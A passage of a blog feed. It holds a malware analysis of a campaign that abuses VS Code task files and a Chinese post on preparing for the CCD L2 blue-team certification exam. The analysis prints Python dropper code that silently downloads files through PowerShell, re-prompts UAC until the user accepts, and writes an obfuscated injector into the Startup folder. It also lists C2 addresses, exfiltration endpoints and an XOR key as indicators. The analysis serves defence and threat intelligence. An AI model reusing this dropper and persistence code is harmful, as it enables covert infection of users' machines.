class="string">&quot;exec((_)(%s))&quot;</span> % <span class="built_in">repr</span>(<span class="built_in">eval</span>(xx))</span><br><span class="line">            <span class="keyword">except</span> TypeError <span class="keyword">as</span> s:</span><br><span class="line">                sys.exit(<span class="string">&quot; TypeError : &quot;</span> + <span class="built_in">str</span>(s))</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Build the complete output</span></span><br><span class="line"></span><br><span class="line">        output = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        output += <span class="string">&quot;\n&quot;</span></span><br><span class="line">        output += prefix</span><br><span class="line">        output += data</span><br><span class="line">        output += <span class="string">&quot;\n&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># Return the output</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> output</span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Utils #####</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">output</span>(<span class="params">text: <span class="built_in">str</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">if</span> DEBUG_MODE:</span><br><span class="line">            <span class="built_in">print</span>(text)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">download_file</span>(<span class="params">url: <span class="built_in">str</span>, file_path: <span class="built_in">str</span></span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            powershell_script = <span class="string">f&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">            $url = &quot;<span class="subst">&#123;url&#125;</span>&quot;</span></span><br><span class="line"><span class="string">            $filePath = &quot;<span class="subst">&#123;file_path&#125;</span>&quot;</span></span><br><span class="line"><span class="string">            Invoke-WebRequest -Uri $url -OutFile $filePath</span></span><br><span class="line"><span class="string">                                &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">            subprocess.run(</span><br><span class="line">                [<span class="string">&quot;powershell&quot;</span>, <span class="string">&quot;-Command&quot;</span>, powershell_script],</span><br><span class="line">                check = <span class="literal">True</span>,</span><br><span class="line">                creationflags = subprocess.CREATE_NO_WINDOW,</span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">            output(<span class="string">f&quot;File downloaded successfully to: <span class="subst">&#123;file_path&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">except</span> subprocess.CalledProcessError <span class="keyword">as</span> e:</span><br><span class="line">            output(<span class="string">f&quot;Error downloading file with PowerShell: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Tsunami Infecter #####</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">is_python_installed</span>() -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="comment"># Check if the platform is Windows</span></span><br><span class="line">            <span class="keyword">if</span> platform.system() == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">                <span class="comment"># Check HKEY_LOCAL_MACHINE</span></span><br><span class="line">                key = <span class="string">r&quot;SOFTWARE\Python\PythonCore&quot;</span></span><br><span class="line">                <span class="keyword">try</span>:</span><br><span class="line">                    <span class="keyword">with</span> winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key) <span class="keyword">as</span> reg_key:</span><br><span class="line">                        <span class="comment"># Get the subkeys (versions) under PythonCore</span></span><br><span class="line">                        subkeys_count = winreg.QueryInfoKey(reg_key)[<span class="number">0</span>]</span><br><span class="line">                        <span class="keyword">if</span> subkeys_count &gt; <span class="number">0</span>:</span><br><span class="line">                            <span class="comment"># Get the latest Python version</span></span><br><span class="line">                            latest_version = <span class="built_in">max</span>([<span class="built_in">float</span>(winreg.EnumKey(reg_key, i)) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(subkeys_count)])</span><br><span class="line">                            output(<span class="string">f&quot;Python <span class="subst">&#123;latest_version&#125;</span> is installed.&quot;</span>)</span><br><span class="line">                            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">                <span class="keyword">except</span> FileNotFoundError:</span><br><span class="line">                    <span class="keyword">pass</span>  <span class="comment"># Ignore if the key is not found in HKEY_LOCAL_MACHINE</span></span><br><span class="line"></span><br><span class="line">                <span class="comment"># Check HKEY_CURRENT_USER</span></span><br><span class="line">                key = <span class="string">r&quot;SOFTWARE\Python\PythonCore&quot;</span></span><br><span class="line">                <span class="keyword">try</span>:</span><br><span class="line">                    <span class="keyword">with</span> winreg.OpenKey(winreg.HKEY_CURRENT_USER, key) <span class="keyword">as</span> reg_key:</span><br><span class="line">                        <span class="comment"># Get the subkeys (versions) under PythonCore</span></span><br><span class="line">                        subkeys_count = winreg.QueryInfoKey(reg_key)[<span class="number">0</span>]</span><br><span class="line">                        <span class="keyword">if</span> subkeys_count &gt; <span class="number">0</span>:</span><br><span class="line">                            <span class="comment"># Get the latest Python version</span></span><br><span class="line">                            latest_version = <span class="built_in">max</span>([<span class="built_in">float</span>(winreg.EnumKey(reg_key, i)) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(subkeys_count)])</span><br><span class="line">                            output(<span class="string">f&quot;Python <span class="subst">&#123;latest_version&#125;</span> is installed.&quot;</span>)</span><br><span class="line">                            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">                <span class="keyword">except</span> FileNotFoundError:</span><br><span class="line">                    <span class="keyword">pass</span>  <span class="comment"># Ignore if the key is not found in HKEY_CURRENT_USER</span></span><br><span class="line"></span><br><span class="line">                output(<span class="string">&quot;Python is not installed.&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                output(<span class="string">&quot;This function is designed for Windows systems.&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            output(<span class="string">f&quot;Error: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">execute_python_with_uac</span>(<span class="params">py_installer_path: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        result = ctypes.windll.shell32.ShellExecuteW(</span><br><span class="line">            <span class="literal">None</span>,</span><br><span class="line">            <span class="string">&quot;runas&quot;</span>,</span><br><span class="line">            py_installer_path,</span><br><span class="line">            <span class="string">&quot;/quiet InstallAllUsers=1 PrependPath=1 Include_test=0&quot;</span>,</span><br><span class="line">            <span class="literal">None</span>,</span><br><span class="line">            <span class="number">0</span></span><br><span class="line">        )</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Return true if it worked, false if it failed</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> result &lt;= <span class="number">32</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">install_python</span>() -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="comment"># Create a temporary download path for the Python installer</span></span><br><span class="line"></span><br><span class="line">        py_installer_path = tempfile.NamedTemporaryFile(delete = <span class="literal">False</span>).name + <span class="string">&quot;.exe&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># Download the Python installer to the path</span></span><br><span class="line"></span><br><span class="line">        download_file(PYTHON_INSTALLER_URL, py_installer_path)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Execute the Python installer to run silently with a UAC prompt</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            <span class="comment"># Sleep for 10 to 30 seconds</span></span><br><span class="line"></span><br><span class="line">            time.sleep(random.uniform(<span class="number">10</span>, <span class="number">30</span>))</span><br><span class="line"></span><br><span class="line">            <span class="comment"># Attempt to execute the Python Installer as administrator with UAC</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> execute_python_with_uac(py_installer_path):</span><br><span class="line">                <span class="comment"># Successfully executed</span></span><br><span class="line"></span><br><span class="line">                output(<span class="string">&quot;[+] The Python installer ran successfully, Python is being installed to the system&quot;</span>)</span><br><span class="line"></span><br><span class="line">                <span class="comment"># Python installer run successfully, nothing left to do but exit</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="comment"># User rejected UAC</span></span><br><span class="line"></span><br><span class="line">                output(<span class="string">&quot;[-] User rejected UAC for Python, retrying...&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Application Entry #####</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">        <span class="comment"># Check if Python is not installed to the system</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> is_python_installed():</span><br><span class="line">            <span class="comment"># Python is not installed</span></span><br><span class="line"></span><br><span class="line">            output(<span class="string">&quot;[+] Python is not installed, downloading the installer...&quot;</span>)</span><br><span class="line"></span><br><span class="line">            <span class="comment"># Install Python</span></span><br><span class="line"></span><br><span class="line">            install_python()</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># Python is already installed</span></span><br><span class="line"></span><br><span class="line">            output(<span class="string">&quot;[+] Python is already installed&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Package installations</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">import</span> cryptography</span><br><span class="line">        <span class="keyword">except</span> ImportError:</span><br><span class="line">            subprocess.check_call([sys.executable, <span class="string">&quot;-m&quot;</span>, <span class="string">&quot;pip&quot;</span>, <span class="string">&quot;install&quot;</span>, <span class="string">&quot;cryptography&quot;</span>])</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Write the Tsunami Injector to the startup folder if it does not already exist</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(TSUNAMI_INJECTOR_PATH, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(obfuscate_script(TSUNAMI_INJECTOR_SCRIPT, loop_count = <span class="number">50</span>))</span><br><span class="line"></span><br><span class="line">        output(<span class="string">&quot;[+] Wrote the Tsunami Injector to the startup folder&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Keep the window open in debug mode for analysis</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> DEBUG_MODE:</span><br><span class="line">            <span class="built_in">input</span>()</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">    <span class="comment"># :(</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>This concludes the general execution flow of Sample 2. Finally, let’s summarize the execution process:</p><ul><li>Initially, the user is induced to request malicious files via <code>task.json</code> using VS Code or related editors.</li><li>Then, malicious programs are downloaded through multi-layer JavaScript + Python droppers.</li><li>This type of Sample executes the following behaviors within obfuscated JavaScript:<ul><li>Steals user browser data, wallets, and confidential files.</li><li>Obtains Python configuration files via <code>https://api.npoint[.]io</code>.</li><li>Downloads malicious Python programs.</li></ul></li><li>The malicious Python program exhibits the following behaviors:<ul><li>Uses <code>zlib.compress</code> + <code>base64decode</code> to obfuscate code.</li><li>Transmits malicious program configuration files via <code>https://pastebin[.]com/</code>.</li><li>Frequently uses XOR + <code>base64decode</code> + reverse for decryption.</li><li>Establishes C2 connection.<ul><li>C2 : <code>146.70.253[.]107:122</code></li></ul></li><li>Downloads TSUNAMI malware.<ul><li>Sha256 : <code>ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527</code></li></ul></li></ul></li></ul><p>Related Analysis Reports:</p><ul><li><a href="https://opensourcemalware.com/blog/contagious-interview-vscode">https://opensourcemalware.com/blog/contagious-interview-vscode</a></li><li><a href="https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/">https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/</a></li></ul><p>According to analysis reports, this attack replaces BeaverTail’s requirement for developers to manually trigger npm, switching instead to a method that exploits the trust developers usually place in the <code>.vscode</code> folder.</p><h2 id="IOC"><a href="#IOC" class="headerlink" title="IOC"></a>IOC</h2><h3 id="Sample-1-1"><a href="#Sample-1-1" class="headerlink" title="Sample 1"></a>Sample 1</h3><h4 id="Network-Indicators"><a href="#Network-Indicators" class="headerlink" title="Network Indicators"></a>Network Indicators</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">Domain</td><td align="left"><code>www.vscodeconfig[.]com</code></td><td align="left">Stage 1 Dropper</td></tr><tr><td align="left">Domain</td><td align="left"><code>vscodesetting.vercel[.]app</code></td><td align="left">Stage 2 Dropper (Download script &amp; package)</td></tr><tr><td align="left">Domain</td><td align="left"><code>mylocation-info.vercel[.]app</code></td><td align="left">Payload Delivery (Encrypted JS)</td></tr><tr><td align="left">IP</td><td align="left"><code>144.172.107[.]191</code></td><td align="left">C2 Server (All traffic)</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>http://144.172.107[.]191:8085/upload</code></td><td align="left">Data Exfiltration (Browser Data)</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>http://144.172.107[.]191:8085/api/upload-file</code></td><td align="left">Data Exfiltration (Large Files&#x2F;Command Result)</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>http://144.172.107[.]191:8086/upload</code></td><td align="left">Data Exfiltration (Sensitive Files)</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>http://144.172.107[.]191:8087/api/notify</code></td><td align="left">Host Online Notification</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>http://144.172.107[.]191:8087/api/log</code></td><td align="left">Clipboard Logs &#x2F; Startup Logs</td></tr><tr><td align="left">C2 Endpoint</td><td align="left"><code>ws://144.172.107[.]191:8087</code></td><td align="left">Command &amp; Control (WebSocket)</td></tr></tbody></table><h4 id="Host-Based-Indicators"><a href="#Host-Based-Indicators" class="headerlink" title="Host-Based Indicators"></a>Host-Based Indicators</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">File Path</td><td align="left"><code>$HOME/.vscode/vscode-bootstrap.sh</code></td><td align="left">Dropper Script</td></tr><tr><td align="left">File Path</td><td align="left"><code>$HOME/.vscode/env-setup.js</code></td><td align="left">Payload Launcher</td></tr><tr><td align="left">File Path</td><td align="left"><code>$HOME/.vscode/package.json</code></td><td align="left">Malicious Package Config</td></tr><tr><td align="left">File Path</td><td align="left"><code>%TEMP%/pid.&lt;timestamp&gt;.1.lock</code></td><td align="left">Lock File (Browser Stealer)</td></tr><tr><td align="left">File Path</td><td align="left"><code>%TEMP%/pid.&lt;timestamp&gt;.2.lock</code></td><td align="left">Lock File (File Scanner)</td></tr><tr><td align="left">File Path</td><td align="left"><code>%TEMP%/pid.&lt;timestamp&gt;.3.lock</code></td><td align="left">Lock File (C2 Client)</td></tr><tr><td align="left">File Path</td><td align="left"><code>%TEMP%/.upload_&lt;timestamp&gt;_*/s.txt</code></td><td align="left">Stolen Passwords (Temporary)</td></tr><tr><td align="left">File Path</td><td align="left"><code>%TEMP%/.upload_&lt;timestamp&gt;_*/sysinfo.txt</code></td><td align="left">System Info (Temporary)</td></tr></tbody></table><h3 id="Sample-2-1"><a href="#Sample-2-1" class="headerlink" title="Sample 2"></a>Sample 2</h3><h4 id="Network-Indicators-1"><a href="#Network-Indicators-1" class="headerlink" title="Network Indicators"></a>Network Indicators</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">IP</td><td align="left"><code>146.70.253[.]107</code></td><td align="left">Primary C2 (HTTP :1224, Socket :2241)</td></tr><tr><td align="left">IP</td><td align="left"><code>23.227.203[.]18</code></td><td align="left">Backup C2 (HTTP :1224)</td></tr><tr><td align="left">IP</td><td align="left"><code>23.254.164[.]156</code></td><td align="left">Payload Delivery (Tsunami Installer)</td></tr><tr><td align="left">URL</td><td align="left"><code>http://146.70.253[.]107:1224/keys</code></td><td align="left">System Info Beacon &amp; Key Exchange</td></tr><tr><td align="left">URL</td><td align="left"><code>http://146.70.253[.]107:1224/uploads</code></td><td align="left">Data Exfiltration Endpoint</td></tr><tr><td align="left">URL</td><td align="left"><code>http://146.70.253[.]107:1224/client/15/812</code></td><td align="left">Stage 2 Python Payload Download</td></tr><tr><td align="left">URL</td><td align="left"><code>https://pastebin[.]com/raw/u/NotingRobe2871</code></td><td align="left">Encrypted Payload Config (Targeting Windows)</td></tr></tbody></table><h4 id="Host-Based-Indicators-1"><a href="#Host-Based-Indicators-1" class="headerlink" title="Host-Based Indicators"></a>Host-Based Indicators</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">File Path</td><td align="left"><code>~/.n2/way</code></td><td align="left">C2 Client &#x2F; Remote Shell (Python)</td></tr><tr><td align="left">File Path</td><td align="left"><code>~/.n2/pow</code></td><td align="left">Windows Dropper &#x2F; Persistence (Python)</td></tr><tr><td align="left">File Path</td><td align="left"><code>~/.n2/bow</code></td><td align="left">Same as pow</td></tr><tr><td align="left">File Path</td><td align="left"><code>~/.n2/adc</code></td><td align="left">AnyDesk Bundle</td></tr><tr><td align="left">File Path</td><td align="left"><code>~/.n2/flist</code></td><td align="left">Upload Queue Log</td></tr><tr><td align="left">File Path</td><td align="left"><code>~/.nlq</code></td><td align="left">Stage 2 Encrypted Payload</td></tr><tr><td align="left">File Path (Win)</td><td align="left"><code>%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pyw</code></td><td align="left">Persistence Script (Tsunami Injector)</td></tr><tr><td align="left">File Path (Win)</td><td align="left"><code>%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe</code></td><td align="left">Tsunami Installer</td></tr><tr><td align="left">File Path (Win)</td><td align="left"><code>%LOCALAPPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe</code></td><td align="left">Tsunami Client &#x2F; Payload</td></tr><tr><td align="left">File Path (Win)</td><td align="left"><code>%LOCALAPPDATA%\Microsoft\Windows\Applications\msedge.exe</code></td><td align="left">XMRig Miner</td></tr><tr><td align="left">File Path (Win)</td><td align="left"><code>%TEMP%/&lt;16_Random_Chars&gt;</code></td><td align="left">Temporary Tsunami Payload</td></tr></tbody></table><h4 id="Cryptographic-Indicators"><a href="#Cryptographic-Indicators" class="headerlink" title="Cryptographic Indicators"></a>Cryptographic Indicators</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">XOR Key</td><td align="left"><code>!!!HappyPenguin1950!!!</code></td><td align="left">Used for configuration and payload decryption</td></tr><tr><td align="left">RSA Key</td><td align="left"><code>MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8...</code></td><td align="left">Hardcoded Public Key for Signature Verification</td></tr></tbody></table><h4 id="Malicious-Hashes"><a href="#Malicious-Hashes" class="headerlink" title="Malicious Hashes"></a>Malicious Hashes</h4><table><thead><tr><th align="left">Type</th><th align="left">Value</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">SHA256</td><td align="left"><code>ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527</code></td><td align="left">Tsunami Installer (Runtime Broker.exe)</td></tr></tbody></table><h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><blockquote><p>Do not trust any projects from unknown sources. by yunshiuan</p></blockquote><p>If you have any questions, feel free to DM me.</p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;author : yunshiuan , This analysis report was a special topic project for the TeamT5 Camp Threat Intelligence Group from 202</summary>
      
    
    
    
    <category term="Writeup" scheme="https://yunshiuan.com/categories/Writeup/"/>
    
    
    <category term="Linkedin" scheme="https://yunshiuan.com/tags/Linkedin/"/>
    
    <category term="Malicious Coding" scheme="https://yunshiuan.com/tags/Malicious-Coding/"/>
    
    <category term="Assignment" scheme="https://yunshiuan.com/tags/Assignment/"/>
    
    <category term="Test" scheme="https://yunshiuan.com/tags/Test/"/>
    
  </entry>
  
  <entry>
    <title>Certified CyberDefender Certification 考試心得分享</title>
    <link href="https://yunshiuan.com/2025/10/13/CCD/"/>
    <id>https://yunshiuan.com/2025/10/13/CCD/</id>
    <published>2025-10-13T16:00:00.000Z</published>
    <updated>2026-04-29T11:34:15.601Z</updated>
    
    <content type="html"><![CDATA[<h1 id="🧂-前言"><a href="#🧂-前言" class="headerlink" title="🧂 前言"></a>🧂 前言</h1><blockquote><p>2026&#x2F;03&#x2F;22 更新 現在 Cyberdefender 又推出了一張 CCD L1 證照，而本文考的 CCD 證照則是現在的 CCD L2。</p></blockquote><p>鐵人賽的最後一天，我想要分享我在第一天提到的 Certified CyberDefender Certification L2，也是我考的第一張藍隊的證照，內容會包括考試內容、準備心得、考試過程……等等，並且似乎在中文圈還沒有人詳細介紹這張證照，<del>我就當第一個首殺的了</del></p><p><img src="/assets/6ZSbD_caO3dOOdMtbxnER8q_J6OlrnJWRgQkFs1jFUA=.png"></p><hr><h1 id="關於-CCD-L2"><a href="#關於-CCD-L2" class="headerlink" title="關於 CCD L2"></a>關於 CCD L2</h1><p>這邊先分享一下關於CCD L2 難度的問題</p><p>首先可以先看一下 <a href="https://pauljerimy.com/security-certification-roadmap/">Paul Jerimy 整理的證照地圖</a>，整體可以看到 CCD L2 是排在挺高的地方，代表它是偏難並且不適合新手去考的，另外一個參照是 HTB 的 CDSA，它的難度是被認為是比 CCD L2 還要簡單的。</p><p><img src="/assets/mzparHC0o6TCP7i_VbxgJpi5X41AvnooYpnYzWzf4u4=.jpeg"></p><p>但是它在 <a href="https://cyberdefenders.org/community/cybersecurity-roadmap/">CyberDefender 的 RoadMap</a> 中 CCD L2 是被評為比 CDSA 還要簡單的</p><p><img src="/assets/LyNGc2i8JPfrazqwiSmjHYdf8Rc2S0opUFjLr8NByrI=.png"></p><p>我個人覺得 CCD L2 難度會取決於 Lab 以及課程的完成程度，如果全部 Lab 以及課程全部完成了那考試難度是中等，如果直接考那考試難度是偏高，Lab 以及課程接下來會介紹。</p><p>另一方面是價格的部分，CCD L2 的價格是 800 美金，而比較知名的 BTL2 它需要 2190 美金，所以考 CCD L2 也算一種<del>省錢路線</del></p><p>我選擇這張證照的契機是我看到了這篇 <a href="https://www.reddit.com/r/cybersecurity/comments/1b6jnf5/ccdcertified_cyberdefender_certification_give_soc/?tl=zh-hant">Reddit 論壇</a>，有一則留言說 CCD L2 雖然比 BTL1 較貴也較難，但在課程或考試上會收穫比較好，我選擇想要學比較多東西，因此選擇了挑戰 CCD L2 </p><h2 id="CCD-L2考試介紹"><a href="#CCD-L2考試介紹" class="headerlink" title="CCD L2考試介紹"></a>CCD L2考試介紹</h2><p>CCD L2 是一個實作導向的 SOC 分析師認證，提供的課程包含以下內容</p><ul><li>威脅狩獵</li><li>硬碟鑑識</li><li>邊界防禦-Email 安全</li><li>記憶體鑑識</li><li>網路鑑識</li><li>數位取證</li><li>Incident Response</li><li>鑑識證據蒐集</li><li>惡意程式分析</li></ul><p>課程幾乎包含了 SOC 分析師需要的所有相關知識，但是在考試時只會考以下內容，這裡也提一下主要使用的工具以及大致的內容</p><ul><li>威脅狩獵<ul><li>ELK</li><li>給一個 APT 攻擊的情境，在 ELK 中找出攻擊過程</li></ul></li><li>硬碟鑑識<ul><li>Event Log Explorer</li><li>Eric Zimmerman’s tools</li><li>分析 Windows disk file</li></ul></li><li>記憶體鑑識<ul><li>Volatility2</li><li>分析 Windows 記憶體</li></ul></li><li>網路鑑識<ul><li>Wireshark</li><li>Zui</li><li>NetworkMiner</li><li>分析 pcap 封包</li></ul></li></ul><p>考試時間為 48 小時，考試過程沒有監考，可以查閱所有資料，包括它提供的教材，並且可以隨時開始進行考試，這 48 小時每個主題分別會給一個情境，並有數題題目，威脅狩獵的題目是最多的，有 20 題左右，另外三題皆為 10 題以內，總共會是 40 題左右。通過的分數為 70%，另外如果你考試分數到了 85% 會額外得到一個金色 Coin，<strong>非常帥</strong>，如果是 70%~85% 是一個銀色的 Coin。</p><p><img src="/assets/zxCcH7QXDfKQcQ-kguFd0DhLvWKrF7FdYGWWoHrlZaA=.png"></p><p>source : <a href="https://x.com/CyberDefenders/status/1645759783192915969">https://x.com/CyberDefenders/status/1645759783192915969</a></p><p>這個考試是不用寫報告的，但是你在回答問題時，它不會立即驗證你的答案是否正確，並且會需要在每一題的底下敘述解題過程，如果答案錯誤或者沒寫會根據你寫的內容判定是否部分給分。</p><p>在報名 CCD L2證照考試後它會提供教材以及 Lab 可以練習，Lab 全部做完的話會有 5% 的 bonus，但是這個 bonus 只會在如果你是 65%~69% 時才會有加分。教材的部分是在一年內都可以存取，但是 Lab 只有 4 個月的存取時間，這些時間都是可以延長的，但就是要多花錢。</p><p>報名一次 CCD L2可以有兩次的考試資格，第一次考試必須在報名的 4 個月內考，第二次考試必須在報名的一年內考，意思是必須要在 4 個月內考至少一次，不然的話考試次數會被浪費掉。</p><p>考試結束後會在 14 個工作天內收到結果，並且會有每個主題的評分。</p><hr><h1 id="CCD-L2準備＋考試心得"><a href="#CCD-L2準備＋考試心得" class="headerlink" title="CCD L2準備＋考試心得"></a>CCD L2準備＋考試心得</h1><p>在報 CCD L2之前，關於 SOC 分析師的相關技能我接觸過的有：玩過 Volatility、用過 Wireshark 會看封包，然後沒接觸過硬碟鑑識以及威脅狩獵，大概就是這樣，所以是偏新手的狀態，目標是希望拿到那酷酷的金色 coin。</p><h2 id="考前準備"><a href="#考前準備" class="headerlink" title="考前準備"></a>考前準備</h2><p>我是在 2025&#x2F;05&#x2F;04 時開始進行 CCD 的教材與 Lab 練習，是在 2025&#x2F;07&#x2F;14~2025&#x2F;07&#x2F;16 進行 CCD 考試</p><p>中間經過了 2 個多月的時間，排除期末以及其他事情，大約是 1 個月左右的時間，這一個月時間我主要就是把教材全部翻過一遍，Lab 都做一遍，在做 Lab 之前是沒有官方解答的，做完閱讀詳解的權限才會開起來，我每個 Lab 平均花 3~4 小時完成，在考試前 Lab 我原本已經快做完了，但是 CyberDefender 官方突然改版，每個主題多新增了 1~2 個 Lab，然後原本的 Lab 變成不會計算在 bonus 的判定內，然後之前的題目詳解全部開放，變成要完成新增的那幾個 Lab 才會拿到 bonus，看到這改版直接傻眼，所以又花了億點時間做新增的題目，在考試前終於將全部的 Lab 完成了。</p><p><img src="/assets/rw65oq9JanNLeq9L-PtWlEPBl9hITN-vGaCqE5snxFc=.png"></p><p>這邊大力推薦一下它的教材，它的教材做的非常豐富，每個主題都會有大量的工具以及概念，除了文字與圖片的講解之外，都還會有另外錄一次影片教學，有時候用文字看有點看不懂，但看影片操作一次就看懂了，並且教材內容都會從 0 開始教，所以如果是新手也可以聽得懂，另外它們會幫忙整理 Cheatsheet，讓我們在考試時可以看那張 Cheatsheet 找線索，因此學習這個教材讓我收穫很大。</p><p>在考前我也另外練習了 CyberDefender 裡面的免費 Lab，一開始碰到不會的就會直接開提示或官解，到後面練到一看到題目想問的就大概會有一個方向要去下什麼指令或者取哪個地方找線索，我覺得練習 Lab 還蠻重要的，提早適應一下考試的感覺，然後爬文時發現威脅狩獵的部分還蠻重要的，所以有多練習威脅狩獵的題目，結果來說真的是挺重要的。</p><h2 id="考試過程"><a href="#考試過程" class="headerlink" title="考試過程"></a>考試過程</h2><p>在 2025&#x2F;07&#x2F;14 第一天中午 11:00 左右按下開始後就進行了考試，總共有四大主題，威脅狩獵提供了 ELK 環境，硬碟鑑識、記憶體鑑識與網路鑑識提供了同一個 Windows 環境。我的順序是網路鑑識 -&gt; 記憶體鑑識 -&gt; 硬碟鑑識 -&gt; 威脅狩獵</p><p>我一開始看網路鑑識，網路鑑識的題目比較簡單，主要用 Wireshark 就可以全解了，網路鑑識全部解完後，再進行記憶體鑑識以及硬碟鑑識，記憶體鑑識我有些題卡住之後就會轉去做硬碟鑑識，並且它們的每題的解題敘述都寫好寫滿，因為我覺得我有些題不太確定，但可惜的是只能寫 300 字，所以只能寫個大概而已，然後建議要在網路比較好的地方，不然寫一寫會當機，當時解到了 15 號的凌晨 3、4 點，進度在記憶體鑑識以及硬碟鑑識各解差不多 3&#x2F;4 的進度以及威脅狩獵還沒有碰的情況下先跑去睡覺了。</p><p>第二天起來大約也快中午了，起床直接繼續解，將記憶體鑑識以及硬碟鑑識解完後開始碰威脅狩獵，記憶體鑑識以及硬碟鑑識我覺得整體難度中偏高，主要是 Volatility 的 Plugin 使用真的要很熟悉，以及 Event ID、註冊表位置會需要熟一點，建議一定要配一個 CheatSheet，忘記了可以直接看，不然會查到死。在威脅狩獵到一半，我突然接收到我隊友一個訊息，7&#x2F;16 要去全國技能競賽報到，地點在北部，我現在在南部，然後我看了一下行事曆</p><p><img src="/assets/e7wScU-feMFwwBfjAcijBVUOYMxqqZstCK1n8cFtNgc=.png"></p><p>我再重新看了一次全國技能競賽簡章</p><p><img src="/assets/Y2V9QiGHPUQiDAHUMWmLivpwpu-9uMgIkoMxLL6N0F8=.png"></p><p>ok，完全記錯時間了，現在時間下午 5:45，腦袋風暴之後我計算出我只要在隔天凌晨 5:00 